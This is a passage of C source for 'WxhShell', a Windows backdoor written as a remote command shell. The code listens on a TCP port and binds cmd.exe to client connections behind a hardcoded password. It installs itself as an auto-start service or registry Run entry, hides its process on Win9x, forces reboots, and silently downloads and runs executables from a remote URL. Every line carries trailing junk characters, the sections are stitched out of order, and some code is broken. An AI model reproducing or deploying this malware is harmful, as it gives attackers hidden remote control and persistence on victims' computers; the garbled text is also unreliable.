    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *-"DZ  
    if(Boot(SHUTDOWN)) W m\HZ9PN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); unu%\f>^4  
    else { $}RBK'cr}  
    closesocket(wsh); gBb+Q,  
    ExitThread(0); 3* C9;Q}  
    } },G6IuH%  
    break; F33&A<(,  
    } ={P  
  // 获取shell 78&(>8@m  
  case 's': { 5/4N  Y  
    CmdShell(wsh); ]FV,}EZ  
    closesocket(wsh); k)j, ~JH  
    ExitThread(0); W@U<GF1  
    break; w:%3]2c  
  } `%_yRJd|;  
  // 退出 e<o{3*%p)  
  case 'x': { h^o>9s/|/H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |^p7:)cy  
    CloseIt(wsh); L5$r<t<  
    break; X:Z4QqT  
    } ^-Ob($(\  
  // 离开 + |(-7 "  
  case 'q': { a oj6/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); | LdDL953  
    closesocket(wsh); zMlW)NB'  
    WSACleanup(); 2VO bj7F  
    exit(1); xQ4 5B` $  
    break; 6$]@}O^V  
        } K. [2uhB)  
  } Xm,w.|dx  
  } 1KwUp0% &  
iV<4#aBg  
  // 提示信息 1_$y bftS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  _0^f  
} %%`Q5I  
  } /J{ e _a  
zIc%>?w  
  return; #+dF3]X(&  
} AmYqrmJ  
A/ppr.  
// shell模块句柄 RMJq9a  
int CmdShell(SOCKET sock) lS<T|:gz@  
{ @BCws )  
STARTUPINFO si; ~1e?9D  
ZeroMemory(&si,sizeof(si)); Z,~Bz@5`"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W  &wqN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^APPWQUl  
PROCESS_INFORMATION ProcessInfo; \$;Q3t3  
char cmdline[]="cmd"; @hC,J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NQb!?w  
  return 0;  %T9'dcM  
} fsd,q?{a:  
J3/2>N]/}  
// 自身启动模式 !F ]7q]g  
int StartFromService(void) `-Yo$b;:  
{ z*,P^K 0T  
typedef struct rBNl%+ sB  
{  ?X{ul  
  DWORD ExitStatus; )Pr*\<Cld  
  DWORD PebBaseAddress; ,EhQTVJ  
  DWORD AffinityMask; HCj/x<*F  
  DWORD BasePriority; J* V@huF  
  ULONG UniqueProcessId; Z*r;"WHB  
  ULONG InheritedFromUniqueProcessId; bEx8dc`Q  
}   PROCESS_BASIC_INFORMATION; NlLgXn!  
& !0[T   
PROCNTQSIP NtQueryInformationProcess; .FV wZ:d  
;yd[QT<I<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N=4`jy =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QN!.~>  
1 /@lZ  
  HANDLE             hProcess; g+CTF67  
  PROCESS_BASIC_INFORMATION pbi; ::'DWD1  
uh,~Cv XU]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > wsS75n1  
  if(NULL == hInst ) return 0; FUy!j|W6f  
`2}H$D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /m#!<t7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u~ %xU~v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x.gRTR`7(  
M? 7CBqZ  
  if (!NtQueryInformationProcess) return 0; 8&d s  
r7dvj#^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +[W_J z  
  if(!hProcess) return 0; f+A!w8E  
c:;m BS>~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8M9LY9C  
x[%z \  
  CloseHandle(hProcess); JjO="Cmk/  
X MkyX&y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sf""]c$  
if(hProcess==NULL) return 0; m5Q?g8  
R 2.y=P8N  
HMODULE hMod; ;4E(n  
char procName[255]; F|Y}X|x8Q  
unsigned long cbNeeded; BgPwIK x  
'j6)5WL$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "0BuQ{CQ  
">$.>sn{  
  CloseHandle(hProcess); |q0MM^%"  
0W}iKT[Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Y@&1[Z  
{R5{v6m_  
  return 0; // 注册表启动 s> d /9 b  
} X9:4oMux7  
g7>p,  
// 主模块 8Xo`S<8VS  
int StartWxhshell(LPSTR lpCmdLine) 1w30Vj2<  
{ Z.!tp  
  SOCKET wsl; ;|nC;D]  
BOOL val=TRUE; [X9s\H  
  int port=0; drv"I[}{A  
  struct sockaddr_in door; MXQ S6F#  
IUK !b2!`  
  if(wscfg.ws_autoins) Install();  vbol 70  
T[$! ^WT  
port=atoi(lpCmdLine); !21#NCw  
="M7F0k  
if(port<=0) port=wscfg.ws_port; 0O_acO 4  
x37pj)i/  
  WSADATA data; Py}`k1t*f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lDBn3U&z>  
k3:8T#N>!O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T3-8AUCK8?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?AL;m.X-@  
  door.sin_family = AF_INET; Stq [[S5P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jsXj9:X I  
  door.sin_port = htons(port); 83^|a5  
zAr@vBfC%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vmV<PK-  
closesocket(wsl); Glt%%TJb   
return 1; $d@_R^]X  
} #<^ngoOj  
Ax'jNol  
  if(listen(wsl,2) == INVALID_SOCKET) { 8ec6J*b  
closesocket(wsl); ."8bW^:  
return 1; z } L3//  
} &n|S:"B  
  Wxhshell(wsl); Y<A593  
  WSACleanup(); h3B s  
|fQl0hL  
return 0; G:n,u$2a<  
/^BaQeH?R  
} qQL]3qP  
c(]NpH in  
// 以NT服务方式启动 !W^b:qjJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !!WSGZUR  
{ vCPiT2G  
DWORD   status = 0; <Z8I#IPl  
  DWORD   specificError = 0xfffffff; ;OE=;\  
Q%x |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2N,<~L`FX'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cfz020u`g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `0]kRA8=  
  serviceStatus.dwWin32ExitCode     = 0; ?<Tt1fpG  
  serviceStatus.dwServiceSpecificExitCode = 0; Do&em8i z  
  serviceStatus.dwCheckPoint       = 0; R0 g-  
  serviceStatus.dwWaitHint       = 0; 1|+Z mo"  
ka3(sctZ5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3L;GfYr0  
  if (hServiceStatusHandle==0) return; ujo3"j[b  
l1Zf#]x  
status = GetLastError(); (l|:$%[0  
  if (status!=NO_ERROR) ywPFL/@  
{ OS X5S:XS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v|VfSLZTb  
    serviceStatus.dwCheckPoint       = 0; x B%Felz  
    serviceStatus.dwWaitHint       = 0; Rh:@@4<  
    serviceStatus.dwWin32ExitCode     = status; B%|cp+/  
    serviceStatus.dwServiceSpecificExitCode = specificError; q. %[!O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eyx;8v cM  
    return; ~|LlT^C  
  } h{ &X`$  
"`sr#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %:^|Q;xe  
  serviceStatus.dwCheckPoint       = 0; ( TQx3DGq  
  serviceStatus.dwWaitHint       = 0; b r"4 7i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !,f#oCL  
} %E!^SF?Y  
tkN5 |95  
// 处理NT服务事件,比如:启动、停止 {}vB# !  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F?+K~['i  
{ w(sD}YA)  
switch(fdwControl) L5E|1T  
{ 1T{A(<:o$  
case SERVICE_CONTROL_STOP: LI>tN R~  
  serviceStatus.dwWin32ExitCode = 0; ~S\Ee 2e>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *?k~n9n5U  
  serviceStatus.dwCheckPoint   = 0; uC _&?  
  serviceStatus.dwWaitHint     = 0; oGK 1D  
  { JN9 W:X.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 TTU&7l~  
  } pa7Iz^i  
  return; ) o)k~6uT  
case SERVICE_CONTROL_PAUSE: N8<Wm>GLX~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )czuJ5  
  break; 9~6FWBt  
case SERVICE_CONTROL_CONTINUE: ^Fy{Q*p`(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L*A9a  
  break; 1^bI9 /  
case SERVICE_CONTROL_INTERROGATE: 8s,B,s.  
  break; V b=Oz  
}; YS}uJ&WoF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H.8f-c-4we  
} JN{.-k4Ha  
g$++\%k&  
// 标准应用程序主函数 NH?q/4=I0W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?a8 o.&`l  
{ Kr$ w"]  
a88(,:t  
// 获取操作系统版本 ~w<u!  
OsIsNt=GetOsVer(); {Jv m *   
GetModuleFileName(NULL,ExeFile,MAX_PATH); BE54^U  
`|p3@e  
  // 从命令行安装 wnf'-dw]  
  if(strpbrk(lpCmdLine,"iI")) Install(); .A: #l?  
H_RVGAb U  
  // 下载执行文件 s!\:%N  
if(wscfg.ws_downexe) { )G7")I J/X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 67Z.aaXD1  
  WinExec(wscfg.ws_filenam,SW_HIDE); >x(3p@6p  
} mk)F3[ ke  
%UquF  
if(!OsIsNt) { ail%#E8  
// 如果时win9x,隐藏进程并且设置为注册表启动 v&[Ff|>  
HideProc(); 9=(*#gRd  
StartWxhshell(lpCmdLine); J|DID+M  
} 3y}0J @  
else 83"Vh$&  
  if(StartFromService()) .%{3#\  
  // 以服务方式启动 a$ f$CjQ  
  StartServiceCtrlDispatcher(DispatchTable); Kh)SgJ3B@  
else Vb0((c%&  
  // 普通方式启动 gbP]!d:I  
  StartWxhshell(lpCmdLine); Ax D&_GT  
l{:7*U{d  
return 0; uG1)cm B}  
} YlI/~J  
`0@onDQVc=  
/8Sg<  
fc'NU(70c  
=========================================== faqOGAb  
(Rqn)<<2  
dgLE/r?  
nLn3kMl4  
b' 1%g}  
oy I8}s:  
" Tw:j}ERq  
2}Ga   
#include <stdio.h> z1LN|+\}  
#include <string.h> `lAe2l^  
#include <windows.h> |sf&t  
#include <winsock2.h> -)biSU,  
#include <winsvc.h> 3$fzqFo  
#include <urlmon.h> 6#sd"JvtQ  
Zt3"4d4  
#pragma comment (lib, "Ws2_32.lib") ;T!w$({V0z  
#pragma comment (lib, "urlmon.lib") J{W<6AK\S  
W\JbX<mQ  
#define MAX_USER   100 // 最大客户端连接数 +!dWQ=W  
#define BUF_SOCK   200 // sock buffer Qh4@Nl#Ncf  
#define KEY_BUFF   255 // 输入 buffer )<_e{_ h  
muMb pF  
#define REBOOT     0   // 重启 ZWZRG-:&H  
#define SHUTDOWN   1   // 关机 5Jo><P a  
AE1EZ#  
#define DEF_PORT   5000 // 监听端口 {)E)&lL  
ao2NwH##  
#define REG_LEN     16   // 注册表键长度 ~>h_#sIBC  
#define SVC_LEN     80   // NT服务名长度 ,{"%-U#z  
!j'9>G{T  
// 从dll定义API > /,7j:X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PuKT0*_ 7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OEz'&))J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (9!$p|d*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A*;I}F  
_wMc7`6F  
// wxhshell配置信息 %,HuG-L  
struct WSCFG { 84xA/BRW  
  int ws_port;         // 监听端口 F` /mcyf  
  char ws_passstr[REG_LEN]; // 口令 =og5Mh,  
  int ws_autoins;       // 安装标记, 1=yes 0=no \k?Fu=@  
  char ws_regname[REG_LEN]; // 注册表键名 5F#Q1gP-  
  char ws_svcname[REG_LEN]; // 服务名 BCH{0w^D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }.j<kmd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b`?$;5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oMM+af  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +;Yd<~!c Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <g/Z(<{wor  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YVcFCl  
5](-(?k}~  
}; 6Vr:?TI7  
|?zFm mh  
// default Wxhshell configuration JHF <vyt5<  
struct WSCFG wscfg={DEF_PORT, z[zURj-*]  
    "xuhuanlingzhe",  58S>B'  
    1, {bQi z  
    "Wxhshell", xa7~{ E,  
    "Wxhshell", z?ck*9SZX  
            "WxhShell Service", l* ~".q;S  
    "Wrsky Windows CmdShell Service", azEN_oUV  
    "Please Input Your Password: ", "pQFIV,  
  1, ]yc&ffe%  
  "http://www.wrsky.com/wxhshell.exe", ="~yD[S  
  "Wxhshell.exe" x4b.^5"`:  
    }; (jR7D"I  
\6]Uj+  
// 消息定义模块 9$]I3k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I_QWdxn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T7F)'Mx<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ??X3teO{  
char *msg_ws_ext="\n\rExit."; <4l;I*:2&  
char *msg_ws_end="\n\rQuit."; [SnnOqWw  
char *msg_ws_boot="\n\rReboot..."; wrORyj  
char *msg_ws_poff="\n\rShutdown..."; 7/$r  
char *msg_ws_down="\n\rSave to "; F 7v 1rf]  
~"eQPTd  
char *msg_ws_err="\n\rErr!"; XsOz {?G  
char *msg_ws_ok="\n\rOK!"; d7g3VF<j  
GJpQcse%  
char ExeFile[MAX_PATH]; ]@Gw$  
int nUser = 0; #0;H'GO?c  
HANDLE handles[MAX_USER]; +(a}S$C  
int OsIsNt; h-0#h/u>M  
w6b\l1Z  
SERVICE_STATUS       serviceStatus; rsr}%J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?^y!}(  
|j?iD  
// 函数声明 M/!5r  
int Install(void); aPR0DZ@  
int Uninstall(void); \=3fO(  
int DownloadFile(char *sURL, SOCKET wsh); _'CYS3-P3  
int Boot(int flag); E{):z g  
void HideProc(void); etcpto=Mo  
int GetOsVer(void); BQ[,(T`+R  
int Wxhshell(SOCKET wsl); (z8^^j[  
void TalkWithClient(void *cs); fga{ b7  
int CmdShell(SOCKET sock); p\>im+0oh  
int StartFromService(void); a$}n4p  
int StartWxhshell(LPSTR lpCmdLine); cJIA/HQe  
u]<7}R@s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_\+6\_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f( %r)%  
J83{&N2u  
// 数据结构和表定义 >q+q];=(  
SERVICE_TABLE_ENTRY DispatchTable[] = [xm{4Ba2X  
{ HB/q v IzB  
{wscfg.ws_svcname, NTServiceMain}, ~s$ jiA1  
{NULL, NULL} E%+aqA)f  
}; IJ#G/<ZJZ  
aDDs"DXx  
// 自我安装 do-mkvk  
int Install(void) l(o;O.dLt  
{ ">-mZ'$#L  
  char svExeFile[MAX_PATH]; <B3v4 f  
  HKEY key; kdr?I9kwW  
  strcpy(svExeFile,ExeFile); !F^j\  
Xp_3EQl  
// 如果是win9x系统,修改注册表设为自启动 *>=|"ff  
if(!OsIsNt) { R)[ l 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yf lt2 R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bwr}Ge  
  RegCloseKey(key); &,4 3&pFU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Cdc?#&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1vy*u  
  RegCloseKey(key); ~F{u4p7{N  
  return 0; YtQsSU  
    } QH) uh"  
  } ~qjnV  
} 5O7 x4bY  
else { | e&v;48  
=Wgz\uGJ  
// 如果是NT以上系统,安装为系统服务 $@VQ{S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BGe&c,feIc  
if (schSCManager!=0) $<]G#&F   
{ C>A*L4c]F  
  SC_HANDLE schService = CreateService @P$_2IU"  
  ( f^EDiG>b`  
  schSCManager, /d1 B-I  
  wscfg.ws_svcname, sF+mfoMtG  
  wscfg.ws_svcdisp, >$%rsc}^  
  SERVICE_ALL_ACCESS, Os9;;^k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D>HX1LV  
  SERVICE_AUTO_START, 7yp}*b{s  
  SERVICE_ERROR_NORMAL, e>GX]tK  
  svExeFile, _&]B  
  NULL, PX5K-|R  
  NULL, N~Kl{" >`  
  NULL, SL j2/B0  
  NULL, 2V-zmyJs5  
  NULL zG[GyyAQ  
  ); vv9=g*"j  
  if (schService!=0) =Nc}XFq  
  { G#|`Bjv"aP  
  CloseServiceHandle(schService); 3lZ5N@z69  
  CloseServiceHandle(schSCManager); 0-N"_1k|?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;:^^Qfp  
  strcat(svExeFile,wscfg.ws_svcname); H*h7Y*([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +OM9v3qJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5LIbHSK  
  RegCloseKey(key); gM5`UH|  
  return 0; e 1 yvvi  
    } (F wWyt  
  } 2a\?Q|1C  
  CloseServiceHandle(schSCManager); ;q3"XLV(T[  
} P:p@Iep  
} &4m\``//9  
pyf/%9R:d  
return 1; }u CC~ <^  
} _a?(JzLw5  
*k(|r>  
// 自我卸载 L^7"I 4=(D  
int Uninstall(void) :*/'W5iM  
{ a$~pAy5C  
  HKEY key; Z0(}doh  
T&/ ]|4  
if(!OsIsNt) { rEM#J"wF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $;1TP|  
  RegDeleteValue(key,wscfg.ws_regname); WZ3GI l  
  RegCloseKey(key); A<+veqb4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }H>}v/  
  RegDeleteValue(key,wscfg.ws_regname); h VQj$TA  
  RegCloseKey(key); \?|FB~.Ry  
  return 0; E\X:VQ9  
  } 3fb"1z#  
} sK&[sN33  
} u=U. +\f5  
else { |$)+h\h  
`L. kyL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pc=f,  
if (schSCManager!=0) yLDv/r  
{ &* Aems{-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :'F7^N3;H  
  if (schService!=0) $4&%<'l3I  
  { c(R=f +  
  if(DeleteService(schService)!=0) { k4AF .U`I  
  CloseServiceHandle(schService); Pf4b/w/  
  CloseServiceHandle(schSCManager); wB~5&:]jr  
  return 0; { ]F };_  
  } .[qm>j,  
  CloseServiceHandle(schService); 9(CY"Tc3  
  } ;:%*h2  
  CloseServiceHandle(schSCManager); zFq8xw  
} Hl3%+f  
} =MsQ=:ZV  
pSzO )j  
return 1; z|^+uL  
} E76#xsyhF  
-D4"uoN.  
// 从指定url下载文件 ;ye5HlH}.  
int DownloadFile(char *sURL, SOCKET wsh) [s"e?Qee  
{ 9?IvSv}z  
  HRESULT hr; %:DH _0  
char seps[]= "/"; S%sD#0l  
char *token; whoQA}X>  
char *file; @C?.)#  
char myURL[MAX_PATH]; A\1X-Mm  
char myFILE[MAX_PATH]; Z#1 'STg  
iz0GL&<  
strcpy(myURL,sURL); S=N3qBH6  
  token=strtok(myURL,seps); ?|`Ba-  
  while(token!=NULL) n'42CE  
  { 5N_w(B  
    file=token; zD9gE  
  token=strtok(NULL,seps); 1h[xVvo<L  
  } SFiK_;  
8(b C.  
GetCurrentDirectory(MAX_PATH,myFILE); $$tFP"pZ  
strcat(myFILE, "\\"); d<@SRHP(  
strcat(myFILE, file); VsrYU@V  
  send(wsh,myFILE,strlen(myFILE),0); 1c%ee$Q  
send(wsh,"...",3,0); !L=RhMI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZITic&>W  
  if(hr==S_OK) ^tFbg+.  
return 0; KbcmK( `_  
else c=52*&  
return 1; ma%PVz`I;9  
W{v{sQg  
} s[}4Q|s%  
.EXe3!J)!  
// 系统电源模块 l0&Y",vy  
int Boot(int flag) GlPd)m`  
{ xX5EhVR   
  HANDLE hToken; )v+R+3<  
  TOKEN_PRIVILEGES tkp; &>T7]])  
dYn<L/#  
  if(OsIsNt) { *wd@YMOP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xaSg'8-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~:ldGfb|  
    tkp.PrivilegeCount = 1; *>#mI/#}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'Wv`^{y <^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;L{#TC(]J]  
if(flag==REBOOT) { EW:tb-%`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wj}PtQ%lp/  
  return 0; \uUd *  
} Q~y) V  
else { K4[X P]\jr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;GjZvo  
  return 0; :=J^"c  
} D J:N  
  }  el"XD"*  
  else { H/I1n\  
if(flag==REBOOT) { @|i f^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0YApaL+jt  
  return 0; Ny6 daf3f  
} iem@ K  
else { 0]._|Ubn6)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9eh9@~mU"l  
  return 0; Xe J|Z)qZ  
} `-J$7)d@  
} mx ]a@tu  
jO9w7u6  
return 1; i"HENJyCb  
} VGPBD-6)  
{$ (X,E  
// win9x进程隐藏模块 9wB}EDZ  
void HideProc(void) uHNh|ew21  
{ [Up0<`Q{I_  
Z6F^p8O-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D rMG{Yiu  
  if ( hKernel != NULL ) }iZ>Gm '5  
  { s&gzv=v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ifYC&5}SI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,m08t9F  
    FreeLibrary(hKernel); O*:8gu'Y2  
  } |LwW/>I  
B4>kx#LR  
return; c'LDHh7b  
} s.8]qQRr  
TlA*~HG<Q  
// 获取操作系统版本 iax6o+OG|  
int GetOsVer(void) F\H^=P  
{ Jm5&6=  
  OSVERSIONINFO winfo; bTrQ(qp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -2\%?A6L  
  GetVersionEx(&winfo); j0]|$p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `O'@TrI  
  return 1; `n{yls7.  
  else G=Qslrtg  
  return 0; }Efz+>F 02  
} G9_M~N%a  
&E{i#r)'T  
// 客户端句柄模块 aglW\L T^  
int Wxhshell(SOCKET wsl) }z/Y Hv%  
{  mDJg-BQ  
  SOCKET wsh; / >As9|%  
  struct sockaddr_in client; WL6p+sN'  
  DWORD myID; +1] xmnts  
~nSGN%  
  while(nUser<MAX_USER) !6 k{]v  
{ uINm>$G,5  
  int nSize=sizeof(client); } XJZw|n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \i +=tGY  
  if(wsh==INVALID_SOCKET) return 1; Mb2rHUr  
J(s%"d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #G/ _FRo`  
if(handles[nUser]==0) k\~A\UIYo  
  closesocket(wsh); EXrOP]Kl  
else AVx 0aj  
  nUser++; yVP 1=pz_[  
  } -H;%1y$A-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C K{.Ic^  
-nvK*rn>}  
  return 0; G|"`kAa  
} [p%OIqC`pB  
oV 7A"8L^a  
// 关闭 socket [)ybPIv]  
void CloseIt(SOCKET wsh) >~% _U+6  
{ ~Xf&<&5d T  
closesocket(wsh); HxgH*IMs  
nUser--; Q.dHg7+D  
ExitThread(0); n* 7mP   
} 7fB:wPlG;  
 B3Yj  
// 客户端请求句柄  1aAYBV<3  
void TalkWithClient(void *cs) jgb>:]:  
{  9kkYD  
@$ea-fK??  
  SOCKET wsh=(SOCKET)cs; 7r_Y.  
  char pwd[SVC_LEN]; <<Fk[qMA  
  char cmd[KEY_BUFF]; 2yFXX9!@  
char chr[1]; _*.Wo"[%[X  
int i,j; ;zbF~5e  
~TGk`cAM>  
  while (nUser < MAX_USER) { otsINAizgS  
cX64 X  
if(wscfg.ws_passstr) { /y \KLa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u/D=&"tL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wN])"bmB  
  //ZeroMemory(pwd,KEY_BUFF); X5@rPGc  
      i=0; CpAdE m{  
  while(i<SVC_LEN) { T]5JsrT  
D/jS4'$vA  
  // 设置超时 @'K+   
  fd_set FdRead; e:BKdZGW  
  struct timeval TimeOut; CPI7&jqu  
  FD_ZERO(&FdRead); hE-u9i  
  FD_SET(wsh,&FdRead); N o}Ly{  
  TimeOut.tv_sec=8; @nJ#kd[  
  TimeOut.tv_usec=0; e3L<;MAt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _~M*XJ] `  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^[d|^fRH Q  
e/?>6'6 5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YdI|xu>0A^  
  pwd=chr[0]; xl(];&A3  
  if(chr[0]==0xd || chr[0]==0xa) { Z'%k`F  
  pwd=0; X3KP N  
  break; *lN>RWbM%  
  } &k5 Z|d|  
  i++; >^@/Ba$h  
    } XK)qDg  
_Z:WgO].  
  // 如果是非法用户,关闭 socket hr8v O"tZN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r9/PmZo4x  
} +yq Z\$ii  
r+BPz%wM=O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); & >AXB6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;b[% L&  
~CQYF,[Th  
while(1) { }5RCks;)*  
,R j{^-k  
  ZeroMemory(cmd,KEY_BUFF); *Mt's[8  
J`ia6fy.I  
      // 自动支持客户端 telnet标准   /=x) 9J  
  j=0; +3 2"vq)_  
  while(j<KEY_BUFF) { Og`6>?>97  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zL @ZNH  
  cmd[j]=chr[0]; pZ/aZg1Ld  
  if(chr[0]==0xa || chr[0]==0xd) { S-"&#OfWg<  
  cmd[j]=0; +_8*;k@F'  
  break; r@3VN~  
  } =<.8  
  j++; D]9I-|  
    } Xi'y-cV ^  
+h6c Aqm]  
  // 下载文件 05zBB  
  if(strstr(cmd,"http://")) { i;1aobG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  R1YRqk  
  if(DownloadFile(cmd,wsh)) \e5bxc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ly?gpOqu5  
  else 9=D\xBd|w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `e t0i.  
  } P9/5M4]tt  
  else { /q4<ZS#  
